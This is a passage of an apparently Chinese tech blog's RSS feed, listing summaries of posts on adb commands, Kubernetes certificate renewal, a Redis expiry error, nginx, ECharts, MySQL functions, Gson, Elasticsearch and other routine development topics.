      <description>geometry命令 通过geometry import+ keyword与geometry export 十keyword实现几何图像集的导入与导出。&#xA;目前，PFC5.0 支持dxf格式、stl 格式和geometry 格式(itasca 软件自定义)。&#xA;new domain extent -10.0 10.0 geometry polygon positions (0 0 0) (1 0 0) (1 1 0) (0 1 0) geometry export sl format geometry ;导出为 geom格式文件 geometry export s2 format stl ;导出为 stl格式文件 geometry export s3 format dxf ;导出为dxf文件格式(出错,暂不支持) 1.从外部直接导入形文件生成不规则wall：&#xA;geometry import chelun.dxf format dxf set lun; 直接从文件读取，并默认set名“lun” wall import geometry lun clean ; 用已有的几何图形集（名称boundary）生成wall，然后把几何图形删除。 2.进行刚性簇模板的生成&#xA;;利用几何图形集lun， 创建一个名为dolos的clump模板，并利用bubble法填充颗粒。 clump template create name dolos geometry lun bubblepack ratio 0.</description>
    </item>
    <item>
      <title>adb获取APK版本号/打开应用</title>
      <link>https://bchobby.github.io/posts/5dc8cc14e8017794b65d81ebbcf9dc62/</link>
      <pubDate>Mon, 08 May 2023 16:58:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dc8cc14e8017794b65d81ebbcf9dc62/</guid>
      <description> 1、查询想要获取的APK的包名&#xA;adb shell pm list packages 2、依据包名查询版本号&#xA;adb shell &#34;dumpsys package android |grep versionName&#34; android ：为被查询的包名 3、获取报名与Activity&#xA;dumpsys package # 获取所有包名与对应可用Activity dumpsys package |grep dou # 筛选包含‘dou’的信息 4、打开进程&#xA;am start com.doudoubird.compass/.StartActivity am start -n com.android.settings/com.android.settings.Settings ---打开系统设置 5、获取当前界面ACTIVITY&#xA;dumpsys activity top |grep ACTIVITY </description>
    </item>
    <item>
      <title>css 实现圆环进度条</title>
      <link>https://bchobby.github.io/posts/8751ed5dbcb4ab68b635bbbb4381dd15/</link>
      <pubDate>Mon, 08 May 2023 11:46:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8751ed5dbcb4ab68b635bbbb4381dd15/</guid>
      <description> 效果图 主要的思路是 使用锥形渐变给div一个背景，然后使用mask遮挡中间部分，这样就变成一个圆环了，最后用 before和after处理一下 圆环进度开始和结束位置。&#xA;html &amp;lt;div class=&#34;shadow&#34;&amp;gt;&amp;lt;/div&amp;gt; css .shadow { width: 100px; height: 100px; position: relative; border-radius: 50%; background: conic-gradient(#ddff5c 0%, #28d4c3 50%, #85ea8e 75%, #1d335c 75%, #1d335c 100%); mask: radial-gradient(transparent 44px, #000 45px); -webkit-mask: radial-gradient(transparent 44px, #000 45px); } .shadow::before { content: &#39;&#39;; position: absolute; left: 48px; top: 0px; width: 5px; height: 5px; background: #ddff5c; border-radius: 50%; } .shadow::after { content: &#39;&#39;; position: absolute; left: -1px; top: 44px; width: 8px; height: 8px; background: #85ea8e; border-radius: 50%; } </description>
    </item>
    <item>
      <title>k8s相关证书的更新</title>
      <link>https://bchobby.github.io/posts/865e2f96cf0013ee10da5c71a0164e61/</link>
      <pubDate>Mon, 08 May 2023 10:11:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/865e2f96cf0013ee10da5c71a0164e61/</guid>
      <description>一、ca.crt 证书更新到10年&#xA;1、通过ca.key生成ca.csr&#xA;openssl x509 -x509toreq -in ca.crt-back -signkey ca.key -out ca.csr&#xA;2、通过ca.csr重新签发公钥ca.crt&#xA;openssl x509 -req -days 3650 -in ca.csr -signkey ca.key -out ca.crt&#xA;3、校验ca.crt是否OK&#xA;openssl verify -CAfile ca.crt healthcheck-client.crt（任意签发的公钥认证）&#xA;4、查看更新后的证书时间&#xA;openssl x509 -in ca.crt -noout -dates&#xA;二、更新kubeadm所有的证书时间&#xA;拉取：https://github.com/yuyicai/update-kube-cert&#xA;执行：./update-kubeadm-cert.sh all&#xA;备注：update-kubeadm-cert.sh 文件内容&#xA;#!/usr/bin/env bash set -o errexit set -o pipefail # set -o xtrace # set output color NC=&#39;\033[0m&#39; RED=&#39;\033[31m&#39; GREEN=&#39;\033[32m&#39; YELLOW=&#39;\033[33m&#39; BLUE=&#39;\033[34m&#39; log::err() { printf &#34;[$(date +&#39;%Y-%m-%dT%H:%M:%S.%2N%z&#39;)][${RED}ERROR${NC}] %b\n&#34;</description>
    </item>
    <item>
      <title>【Redis】记录一次redis异常RedisCommandExecutionException: ERR invalid expire time in setex</title>
      <link>https://bchobby.github.io/posts/06a0ee1b58ec55923f91ff5fc9aa6905/</link>
      <pubDate>Mon, 08 May 2023 09:51:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06a0ee1b58ec55923f91ff5fc9aa6905/</guid>
      <description>1. 记录一次因为redis的key的过期时间为负数的问题 org.springframework.data.redis.RedisSystemException: Error in execution; nested exception is io.lettuce.core.RedisCommandExecutionException: ERR invalid expire time in setex at org.springframework.data.redis.connection.lettuce.LettuceExceptionConverter.convert(LettuceExceptionConverter.java:54) at org.springframework.data.redis.connection.lettuce.LettuceExceptionConverter.convert(LettuceExceptionConverter.java:52) at org.springframework.data.redis.connection.lettuce.LettuceExceptionConverter.convert(LettuceExceptionConverter.java:41) at org.springframework.data.redis.PassThroughExceptionTranslationStrategy.translate(PassThroughExceptionTranslationStrategy.java:44) at org.springframework.data.redis.FallbackExceptionTranslationStrategy.translate(FallbackExceptionTranslationStrategy.java:42) at org.springframework.data.redis.connection.lettuce.LettuceConnection.convertLettuceAccessException(LettuceConnection.java:273) at org.springframework.data.redis.connection.lettuce.LettuceStringCommands.convertLettuceAccessException(LettuceStringCommands.java:799) at org.springframework.data.redis.connection.lettuce.LettuceStringCommands.setEx(LettuceStringCommands.java:232) at org.springframework.data.redis.connection.DefaultedRedisConnection.setEx(DefaultedRedisConnection.java:308) at org.springframework.data.redis.core.DefaultValueOperations$4.potentiallyUsePsetEx(DefaultValueOperations.java:268) at org.springframework.data.redis.core.DefaultValueOperations$4.doInRedis(DefaultValueOperations.java:261) at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:228) at org.springframework.data.redis.core.RedisTemplate.execute(RedisTemplate.java:188) at org.springframework.data.redis.core.AbstractOperations.execute(AbstractOperations.java:96) at org.springframework.data.redis.core.DefaultValueOperations.set(DefaultValueOperations.java:256) at com.xxxxx.redis.service.RedisService.setCacheObject(RedisService.java:45) 上述异常的原因是因为超时时间小于零导致的，因为我们的key的超时时间是调用另外一个接口给的，然后 再减去多少毫秒得到的。&#xA;比如 接口给了80秒过期，我们设置redis的key过期时间 为80-100 = -20 所以导致上述错误</description>
    </item>
    <item>
      <title>STM32F103中文参考手册（754页）</title>
      <link>https://bchobby.github.io/posts/ea283caba9e8b6c6a07c786112f9fce2/</link>
      <pubDate>Sun, 07 May 2023 23:24:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea283caba9e8b6c6a07c786112f9fce2/</guid>
      <description>一、STM32F103中文参考手册（754页） 链接：https://pan.baidu.com/s/13SftqpR4Dgu3pxHOH-Oqyg 提取码：6666&#xA;链接永久有效，欢迎广大电子爱好者下载学习。</description>
    </item>
    <item>
      <title>nginx 报错 HTTP Status 400 – Bad Request</title>
      <link>https://bchobby.github.io/posts/5176bea40a3a22ee8147b1cdb26b3c57/</link>
      <pubDate>Sun, 07 May 2023 22:25:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5176bea40a3a22ee8147b1cdb26b3c57/</guid>
      <description>今天使用nginx对nacos集群进行负载均衡报错:页面报错 HTTP Status 400 – Bad Request&#xA;查看日志&#xA;192.168.198.1 - - [07/May/2023:22:12:21 +0800] &#34;GET /nacos HTTP/1.1&#34; 400 435 &#34;-&#34; &#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36&#34; nginx.conf worker_processes 1; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; upstream nacoscluster{ server 192.168.198.129:8849; server 192.168.198.129:8859; server 192.168.198.129:8869; } server { listen 8001; server_name localhost; location /nacos { proxy_pass http://nacoscluster; } } server { listen 80; server_name localhost; #charset koi8-r; #access_log logs/host.</description>
    </item>
    <item>
      <title>电脑百度网盘打不开怎么办 电脑百度网盘双击没反应处理方法</title>
      <link>https://bchobby.github.io/posts/45b1e51d535f6ee006c8394f27ed83b8/</link>
      <pubDate>Sun, 07 May 2023 22:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45b1e51d535f6ee006c8394f27ed83b8/</guid>
      <description>有时候我们想要在电脑浏览器上下载一些文件时，打开的文件下载链接有些需要通过百度网盘来存储下载，然而当用户在电脑中安装完百度网盘工具之后，双击想要打开时却总是没反应，对此电脑百度网盘打不开怎么办呢？接下来小编就来告诉大家电脑百度网盘双击没反应处理方法。&#xA;具体方法：&#xA;1、首先点开Win10系统-电脑左下角的标志。&#xA;2、鼠标点击一下，会出现一个上拉菜单，在菜单上找到控制面板。&#xA;3、点开控制面板，找到系统与安全。&#xA;4、点开系统与安全，找到系统并点击。&#xA;5、找到高级系统设置，点击后打开系统属性。&#xA;6、在系统属性里找到环境变量并点击。&#xA;7、在环境变量里找到编辑并点击。&#xA;8、点击完进行编辑，变量名为TEMP，然后点击确定。&#xA;9、最后在点击系统变量里的确定，这时我们再打开百度网盘客户端就能打开了。&#xA;上述就是小编给大家带来的电脑百度网盘双击没反应处理方法了，碰到同样情况的朋友们赶紧参照小编的方法来处理吧，希望能够对大家有所帮助。</description>
    </item>
    <item>
      <title>获取spring窗口中的注入的类</title>
      <link>https://bchobby.github.io/posts/ceb30c0759bbd033bfe8fbc6835ac130/</link>
      <pubDate>Sun, 07 May 2023 21:13:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ceb30c0759bbd033bfe8fbc6835ac130/</guid>
      <description>获取spring窗口中的注入的类&#xA;package com.yy.utils; import org.springframework.beans.BeansException; import org.springframework.beans.factory.InitializingBean; import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContextAware; import org.springframework.stereotype.Component; /** * @author yayun * @version 1.0 * @description TODO * @date 2023/5/7 9:13 */ @Component public class ApplicationContextHolder implements ApplicationContextAware , InitializingBean { private static ApplicationContext holdApplicationContext; @Override public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { holdApplicationContext = applicationContext; } public static &amp;lt;T&amp;gt; T getBeanByName(String beanName, Class&amp;lt;T&amp;gt; clazz){ T contextBean = holdApplicationContext.getBean(beanName, clazz); return contextBean; } @Override public void afterPropertiesSet() throws Exception { String[] names = holdApplicationContext.</description>
    </item>
    <item>
      <title>Elasticsearch搜索引擎</title>
      <link>https://bchobby.github.io/posts/899b2c6e6f476c9fe4bb786388ce4d46/</link>
      <pubDate>Sun, 07 May 2023 18:21:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/899b2c6e6f476c9fe4bb786388ce4d46/</guid>
      <description>The Elastic Stack, 包括 Elasticsearch【搜索，分析】、 Kibana【可视化】、 Beats 和 Logstash【数据的搜集】（也称为 ELK Stack）。能够安全可靠地获取任何来源、任何格式的数据，然后实时地对数据进行搜索、分析和可视化。&#xA;Elaticsearch，简称为 ES， ES 是一个开源的高扩展的分布式全文搜索引擎， 是整个 ElasticStack 技术栈的核心。&#xA;它可以近乎实时的存储、检索数据；本身扩展性很好，可以扩展到上百台服务器，处理 PB 级别的数据。&#xA;文章目录 目录&#xA;文章目录&#xA;前言&#xA;一、倒排索引&#xA;二、es的安装 三、ES中常见的概念&#xA;四、ES常用API接口&#xA;4.1查询匹配&#xA;4.2多条件查询&#xA;4.3匹配数组&#xA;4.4精确匹配 五、ik分词器 六、spring boot整合es 总结&#xA;前言 使用场景&#xA;国外：&#xA;维基百科，类似百度百科，“网络七层协议”的维基百科，全文检索，高亮，搜索推荐&#xA;Stack Overflow（国外的程序讨论论坛），相当于程序员的贴吧。遇到it问题去上面发帖，热心网友下面回帖解答。&#xA;GitHub（开源代码管理），搜索上千亿行代码。&#xA;电商网站，检索商品&#xA;日志数据分析，logstash采集日志，ES进行复杂的数据分析（ELK技术，elasticsearch+logstash+kibana）&#xA;商品价格监控网站，用户设定某商品的价格阈值，当低于该阈值的时候，发送通知消息给用户，比如说订阅《java编程思想》的监控，如果价格低于27块钱，就通知我，我就去买。&#xA;BI系统，商业智能（Business Intelligence）。大型连锁超市，分析全国网点传回的数据，分析各个商品在什么季节的销售量最好、利润最高。成本管理，店面租金、员工工资、负债等信息进行分析。从而部署下一个阶段的战略目标。&#xA;国内：&#xA;百度搜索，第一次查询，使用es。&#xA;OA、ERP系统站内搜索。&#xA;一、倒排索引 倒排索引源于实际应用中需要根据属性的值来查找记录。这种索引表中的每一项都包括一个属性值和具有该属性值的各记录的地址。由于不是由记录来确定属性值，而是由属性值来确定记录的位置，因而称为倒排索引(inverted index)。带有倒排索引的文件我们称为倒排索引文件，简称倒排文件(inverted file)。 二、es的安装 需要电脑有jdk环境&#xA;1.下载安装包并解压&#xA;下载地址：下载 Elastic 产品 | Elastic/&#xA;解压后，进入 bin 文件目录，点击 elasticsearch.bat 文件启动 ES 服务 。</description>
    </item>
    <item>
      <title>在Echarts的barChart中，xAxis的axisLabel中，interval参数如何解释？</title>
      <link>https://bchobby.github.io/posts/709d3c70e441ed74f28ac772202948ed/</link>
      <pubDate>Sun, 07 May 2023 16:15:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/709d3c70e441ed74f28ac772202948ed/</guid>
      <description>在 Echarts 的 barChart 中，xAxis 的 axisLabel 中的 interval 参数表示坐标轴刻度标签的显示间隔，默认值为 0，表示所有标签都会显示。&#xA;当柱状图中的标签比较多或者长度较长时，为了避免标签重叠，可以通过设置 interval 参数来控制标签的显示间隔。当 interval 设置为数值 n 时，每隔 n 个标签显示一个标签。例如，当 interval 设置为 2 时，假设 x 轴上有 6 个标签，那么只有第 1、3、5 个标签会显示，第 2、4、6 个标签会被隐藏。&#xA;下面是一个示例代码：&#xA;option = { xAxis: { type: &#39;category&#39;, data: [&#39;标签1&#39;, &#39;标签2&#39;, &#39;标签3&#39;, &#39;标签4&#39;, &#39;标签5&#39;, &#39;标签6&#39;], axisLabel: { interval: 2 // 设置每隔 2 个标签显示一个标签 } }, series: [{ name: &#39;数据&#39;, type: &#39;bar&#39;, data: [10, 20, 30, 40, 50, 60] }] } 以上代码中，x 轴上共有 6 个标签，通过设置 interval 参数为 2，表示每隔 2 个标签显示一个标签，结果只显示了标签1、标签3、标签5。</description>
    </item>
    <item>
      <title>VSCode MSVC CMake工程模板</title>
      <link>https://bchobby.github.io/posts/bd0b77f5637b28e9b7a0c7f220665d78/</link>
      <pubDate>Sun, 07 May 2023 15:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd0b77f5637b28e9b7a0c7f220665d78/</guid>
      <description>1.创建.vscode 文件夹&#xA;2.c_cpp_properties.json&#xA;{ &#34;configurations&#34;: [ { &#34;name&#34;: &#34;Win32&#34;, &#34;includePath&#34;: [ &#34;${workspaceFolder}/**&#34;, &#34;C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.35.32215/include/**&#34; ], &#34;defines&#34;: [ &#34;_DEBUG&#34;, &#34;UNICODE&#34;, &#34;_UNICODE&#34; ], &#34;windowsSdkVersion&#34;: &#34;10.0.22000.0&#34;, &#34;compilerPath&#34;: &#34;cl.exe&#34;, &#34;cStandard&#34;: &#34;c17&#34;, &#34;cppStandard&#34;: &#34;c++17&#34;, &#34;intelliSenseMode&#34;: &#34;windows-msvc-x64&#34;, &#34;configurationProvider&#34;: &#34;ms-vscode.cmake-tools&#34; } ], &#34;version&#34;: 4 } 3.创建launch.json&#xA;{ // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 &#34;version&#34;: &#34;0.2.0&#34;, &#34;configurations&#34;: [ { &#34;</description>
    </item>
    <item>
      <title>MySQL：数学函数和字符串函数</title>
      <link>https://bchobby.github.io/posts/d1290e76d0db8d2a655a127d0285738c/</link>
      <pubDate>Sun, 07 May 2023 14:08:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1290e76d0db8d2a655a127d0285738c/</guid>
      <description>目录&#xA;前言：&#xA;数学函数：&#xA;求绝对值：&#xA;求PI：&#xA;求平方根：&#xA;求余数：&#xA;取整：&#xA;随机数：&#xA;四舍五入：&#xA;只舍不入：&#xA;返回参数符号：&#xA;幂运算：&#xA;对数：&#xA;三角函数：&#xA;角度与弧度相互转换：&#xA;正弦和反正弦：&#xA;余弦和反余弦：&#xA;字符串函数：&#xA;计算字符串中字符个数，以及字符串的长度：&#xA;合并字符串：&#xA;直接合并：&#xA;合并，并添加分隔符：&#xA;替换字符串：&#xA;x 为正整数：&#xA;x 为负数：&#xA;x 为0：&#xA;x 为 1：&#xA;其中一个参数为NULL：&#xA;字母大小写转换：&#xA;获取指定长度字符串：&#xA;填充字符串：&#xA;删除外侧空格：&#xA;重复字符串：&#xA;替换字符：&#xA;比较字符串大小：&#xA;获取字符串：&#xA;匹配字符串开始位置：&#xA;反转字符串：&#xA;返回输入字符串中，指定位置的字符串：&#xA;返回输入字符串中，指定字符串的位置：&#xA;前言： 仅作为日常学习积累，方便日后查找。&#xA;数学函数： 求绝对值： ABS(X)&#xA;求PI： PI()&#xA;求平方根： SQRT(x)&#xA;# 负数没有平方根，返回NULL&#xA;求余数： MOD(x，y)：x是被除数，y是除数，返回的结果是余数&#xA;取整： CEIL(x), CEILING(x), FLOOR(x)&#xA;这三个的名字起得很有意思，前两个是“天花板”，后一个是“地板”。那么我们的数就是中间的“空气”，用ceil 和 ceiling 就是取“比输入数值大的最小整数”，返回的数值是大于输入数值的整数；用floor 就是取“比输入数值小的最大整数”，返回的数值是小于输入数值的整数。&#xA;前两个（ceil 和 ceiling）是一样的，返回的值大于输入的值，取大于x的最小整数。</description>
    </item>
    <item>
      <title>Echarts堆叠柱状图圆角设置</title>
      <link>https://bchobby.github.io/posts/5bbdc0b504be701db3880335890e75a5/</link>
      <pubDate>Sun, 07 May 2023 13:38:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bbdc0b504be701db3880335890e75a5/</guid>
      <description>背景 工作中有需要使用Echarts堆叠柱状图，并给单根柱条头部及底部的颜色设置圆角，常规的设置会生效于同一类颜色，无法达到效果，故设计一个简单的算法，给需要的颜色添加圆角。以下内容已横向柱状图为例。&#xA;分析 给柱子设置圆角的方法，是给series设置itemStyle-barborderRadius，但是series指的是同一类颜色，会导致不同坐标的柱子无法根据自己具体的内容给不同的顶部(或底部)颜色设置圆角。考虑采用两次循环的方法，对不同坐标的数据及所含子项的颜色进行遍历，给每一个坐标下的每一个颜色单独判断赋值。 代码 // 遍历所有轴数据(此处需保证series中每项都有完整的子项，即使值为0) for(let i in series[0].data) { // 遍历单根柱子 for(let item of series) { if(item.data[i].value !== 0]) { // 找到第一个不为零的值，为该项添加样式 item.data[i].itemStyle = {barborderRadius: [5, 0, 0, 5]}; break; } } // 反向遍历，为另一头添加圆角 for(let j = series.length - 1; j &amp;gt;= 0; j--) { if(series[j].data[i].value !== 0]) { // 当该项已经有一半为圆角，则设置为全圆角(即该坐标下仅一种颜色) series[j].data[i].itemStyle = series[j].data[i].itemStyle ? {barborderRadius: [5, 5, 5, 5]} : {barborderRadius: [5, 0, 0, 5]}; break; } } } 参考资料 【CSDN】</description>
    </item>
    <item>
      <title>Gson使用</title>
      <link>https://bchobby.github.io/posts/91975ceeb948837a35b8aa504ed1fa0e/</link>
      <pubDate>Sun, 07 May 2023 13:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91975ceeb948837a35b8aa504ed1fa0e/</guid>
      <description>public class Test { public static void main(String[] args) { // json数组字符串 转json数组 String jsonStr = &#34;[{\&#34;a\&#34;:\&#34;1\&#34;,\&#34;b\&#34;:10}, {a:\&#34;11\&#34;,\&#34;b\&#34;:110}]&#34;; JsonArray asJsonArray = JsonParser.parseString(jsonStr).getAsJsonArray(); for (JsonElement jsonElement : asJsonArray) { System.out.println(&#34;--------&#34;); System.out.println(jsonElement); System.out.println(jsonElement.getAsJsonObject().get(&#34;a&#34;)); System.out.println(jsonElement.getAsJsonObject().get(&#34;a&#34;).getAsString()); // 直接使用toString，字符串的时候会有双引号；getAsString会去掉对应双引号 System.out.println(jsonElement.getAsJsonObject().get(&#34;b&#34;)); System.out.println(jsonElement.getAsJsonObject().get(&#34;b&#34;).getAsString()); } System.out.println(&#34;----------------&#34;); // json字符串 转json对象 String jsonStr2 = &#34;{\&#34;c\&#34;:\&#34;12\&#34;,\&#34;d\&#34;:120}&#34;; JsonObject asJsonObject = JsonParser.parseString(jsonStr2).getAsJsonObject(); System.out.println(asJsonObject.get(&#34;c&#34;)); System.out.println(asJsonObject.get(&#34;c&#34;).getAsInt()); System.out.println(&#34;----------------&#34;); // json字符串 转bean对象 String jsonStr3 = &#34;{\&#34;name\&#34;:\&#34;12\&#34;,\&#34;age\&#34;:120}&#34;; Person person = new Gson().fromJson(jsonStr3, Person.class); System.out.println(person); System.out.println(&#34;----------------&#34;); // bean对象 转json字符串 Person person1 = new Person(); person1.</description>
    </item>
    <item>
      <title>前端文件下载接口的调用</title>
      <link>https://bchobby.github.io/posts/00a7581c821c3870625a338eb075a022/</link>
      <pubDate>Sun, 07 May 2023 13:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00a7581c821c3870625a338eb075a022/</guid>
      <description>背景 日常开发中前端经常会遇到需要下载文件的情况，现针对工作中常用的下载接口调用方法进行梳理。下载接口大体分为两类，直接使用url的get接口，或需要传一些复杂参数的post接口。&#xA;GET 当下载接口不需要传复杂参数(如选中需要下载的数据信息)，此时直接使用get接口，调用方法为直接打开该url即可：&#xA;location.href = `https://xxxx/xx/xx/xx?id=2`; window.open(`https://xxxx/xx/xx/xx?id=2`); 此方法会打开一个新页面再进行文件下载，若不想打开页面，可以参考以下的post方法进行操作。&#xA;POST POST需要传参，故不能直接使用打开页面的方法，使用方法如下：&#xA;// Angular调用接口的方法 public download(params) { const url = `xxx`; return this.http.post(url, params, {responseType: &#39;blob&#39;}); // 需要设置返回体类型 } // 下载方法 private download(data, response) { const type = response.headers[&#39;content-type&#39;]; // 内容类型 const contentDispositon = response.headers[&#39;content-disposition&#39;]; // 内容形式 const fileName = decodeURI(contentDispositon.split(&#39;fileName=&#39;)[1] || contentDispositon.split(&#39;filename=&#39;)[1]); // 获取文件名(此处也可以自定义下载文件名，注意添加后缀) let blob = new Blob([data], {type: type}); const a = window.document.createElement(&#39;a&#39;); // 创建一个a标签 const downloadUrl = window.</description>
    </item>
    <item>
      <title>紫外可见分光光度计 | 探索光的工具 | 详解</title>
      <link>https://bchobby.github.io/posts/27fa01c04553055088f5e1d370aa3bb8/</link>
      <pubDate>Sun, 07 May 2023 13:30:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27fa01c04553055088f5e1d370aa3bb8/</guid>
      <description>探索光的工具 : 紫外可见分光光度计之用途 紫外-可见光谱法（UV-Vis）是一种简单而有效的实验室分析方法，用于确定大分子化合物或其他物质的浓度。这项技术需要使用分光光度计来测量样品吸收的光量，并记录化合物通过的特定波长，从而产生不同的光谱图谱。&#xA;(华之光谱 Explorer160UV PRO 紫外可见分光光度计) 分光光度计向装有所需物质的比色皿（一种半透明容器）发射一束光。比色皿只吸收特定波长的光，这种波长取决于溶液的浓度。未被吸收的光穿过样品，然后通过小孔传输，最终被光致发光探测器接收和记录，产生每种化合物都不同的特定光谱图谱。&#xA;除了在生物和化学研究中使用，紫外-可见光谱法还有多种实际应用。例如，它可以用于辨别艺术品的时期、制作某些颜色的材料，甚至在绘画修复中进行颜色识别。&#xA;这种非侵入性的光谱技术可以用于绘画和纺织品上颜料的鉴定，是其独特的特征之一。&#xA;此外，环境科学家使用分光光度计来模拟水中有机污染物的光化学转化，并研究地球上的空气质量和气候。&#xA;在更大的尺度上，天体物理学家使用UV-Vis来了解不同行星的大气层，例如火星和金星。&#xA;探索光的工具 : 紫外可见分光光度计之历史 1930 年代，维生素研究发现多种维生素，特别是维生素 A，可以吸收紫外线 (UV)。美国政府对使用紫外线和可见光 (UV-Vis) 光测量士兵口粮中维生素含量的兴趣推动了这项研究，并最终在 1940 年代初期进行了 UV-Vis 分光光度计的商业发布。&#xA;其中，贝克曼 DU 分光光度计于 1941 年首次销售，它通过提供更准确的结果并将分析时间从数小时甚至数周缩短到几分钟，从竞争产品中脱颖而出。&#xA;现代紫外-可见分光光度计与第一代 DU 有很大不同，但它们都基于相同的基本原理运行。光强度是在 UV-Vis 光源灯测量的光通过样品之前和之后测量。吸收的光量对应于样品中的分子浓度。无论是作为独立仪器还是高效液相色谱 (HPLC) 检测器，紫外-可见分光光度计都是测量分析物浓度不可或缺的。它们在科学研究、学术教学和 QA/QC 实验室研究药物、蛋白质、DNA、太阳能电池板、半导体和涂料等方面都扮演着重要角色。&#xA;新的仪器设计和附件扩大了紫外-可见样品的范围——从传统上在 1 厘米比色皿中以毫升体积测量的液体到今天的微量体积。诺贝尔奖获得者布鲁斯·梅里菲尔德 (Bruce Merrifield) 将紫外-可见分光光度计称为“可能是有史以来为推动生物科学发展而开发的最重要的仪器”。&#xA;布鲁斯·梅里菲尔德 (Bruce Merrifield) 20世纪30年代&#xA;1935年，阿诺德·贝克曼创立了国家技术实验室，后来命名为贝克曼仪器公司。&#xA;20世纪40年代&#xA;介绍了第一批商用紫外-可见分光光度计。1940年，贝克曼和国家技术实验室的同事制造了他们的第一台实验室分光光度计。该项目的负责人霍华德·H·卡里后来成立了卡里仪器公司。&#xA;1941年，贝克曼推出了DU UV-Vis分光光度计，它比任何其他商业仪器都具有更高的分辨率和更低的紫外线杂散光。&#xA;1946年，霍华德·卡里、乔治·W·唐斯和威廉·C·米勒以应用物理公司的名义创立了卡里仪器公司。此前，霍华德·卡里是贝克曼仪器公司负责开发的副总裁。&#xA;1947年，应用物理公司向宾夕法尼亚州匹兹堡的梅隆研究所交付了第一台商用记录UV-Vis分光光度计Cary 11。&#xA;20世纪50年代&#xA;1950 年代 – 1970 年代 批量生产降低了紫外-可见分光光度计的成本。 新的光电二极管阵列同时收集所有波长，将扫描光谱所需的时间从几分钟缩短到几秒钟。 1950 年，National Technologies Laboratories 更名为 Beckman Instruments, Inc。</description>
    </item>
    <item>
      <title>Halcon模板匹配之形状匹配，缩放比匹配，相关性匹配</title>
      <link>https://bchobby.github.io/posts/f5ddd83c038b64850cd87897ec3165d7/</link>
      <pubDate>Sun, 07 May 2023 11:57:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5ddd83c038b64850cd87897ec3165d7/</guid>
      <description>是什么是模板匹配？&#xA;模板就是一副已知的小图像，而模板匹配就是在一副大图像中搜寻目标，已知该图中有要找的目标，且该目标同模板有相同的尺寸、方向和图像元素，通过一定的算法可以在图中找到目标，确定其坐标位置&#xA;模板匹配的参数介绍：&#xA;1. 图像金字塔：Numberlever&#xA;2. 起始角度：AngleStart&#xA;3. 角度范围：AngleExtern&#xA;4. 角度步长：AngleStep&#xA;5. 优化算法：Optimization&#xA;6. 极性：Metric&#xA;7. 对比度：Contrast&#xA;8. 最小对比度：MinContrast&#xA;9. 缩放比：scale(find_scale_shape_model.hdev)&#xA;查找模板参数介绍&#xA;1. 最小匹配分数：Score 。&#xA;2. 匹配最大个数：NumMatches&#xA;3. 最大重叠比：MaxOverlap（1 为允许重叠，0 为不允许）&#xA;4. 亚像素精度：SubPixel。&#xA;5. 搜索时使用的金字塔层数：NumLevels (0 为最高效)。&#xA;6. 贪婪度：Greediness（为 0 时慢而安全，为 1 时快而可能匹配失败）。&#xA;9.2基于助手的模板匹配步骤 9.3基于形状的模板匹配 1.创建形状模板匹配create_shape_model&#xA;算子：&#xA;Template NumLevels AngleStart AngleExtent AngleStep Optimization Metric Contrast MinContrast ModelID&#xA;示例：create_shape_model (ImageReduced, &#39;auto&#39;,0,rad(360), &#39;auto&#39;, &#39;auto&#39;, &#39;use_polarity&#39;, &#39;auto&#39;, &#39;auto&#39;, ModelID)&#xA;ImageReduced1（输入对象）：输入图像对象&#xA;&#39;auto&#39;（输入控制参数1）：默认自动获取&#xA;0（输入控制参数2）：创建模板的起始角度（弧度）</description>
    </item>
    <item>
      <title>WebStorm2023上传项目到Gitee仓库(清晰、明确、具体)</title>
      <link>https://bchobby.github.io/posts/8e65e227818941c768d5ca482102b8f6/</link>
      <pubDate>Sun, 07 May 2023 11:56:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e65e227818941c768d5ca482102b8f6/</guid>
      <description>一、创建Gitee仓库 Tip：若已经创建过了，直接跳到第二部分看VsCode如何上传代码到Gitee&#xA;创建仓库比较简单，下面两张图就是整个过程，这里不在赘述，具体如下：&#xA;二、WebStorm上传项目到Gitee仓库 1.打开WebStorm，点击&#34;更多符号&#34;选择设置。如下图所示。&#xA;2.找到设置中的 Gitee 插件，首先登录到Gitee系统。如下图所示。&#xA;3.接下来在弹出的 Gitee 登录界面输入账号信息登录到系统。如下图所示。&#xA;4.登录成功后，授权给 WebStorm 软件。如下图所示。&#xA;5.在设置中确定 Gitee账户信息。如下图所示。&#xA;6.添加项目到 本地仓库。如下图所示。&#xA;7.提交项目目录。如下图所示。&#xA;8.推送项目到Gitee。如下图所示。&#xA;9.错误信息提示的处理，（若无提示----&amp;gt; 请跳过此步骤，看第10步）。如下图所示。&#xA;10. 若是初次使用，则连接到 Gitee仓库上的仓库。（与IDEA过程操作相似，这里以 IDEA操作为例，若不是第一次连接新的仓库请跳过本步骤，看第 11 步）。如下图所示。&#xA;11.推送项目到 Gitee。如下图所示。 12. 进入我们Gitee中的仓库，可以看到我们上传上去的项目代码</description>
    </item>
    <item>
      <title>使用Python轻松识别音频中文字(Whisper)</title>
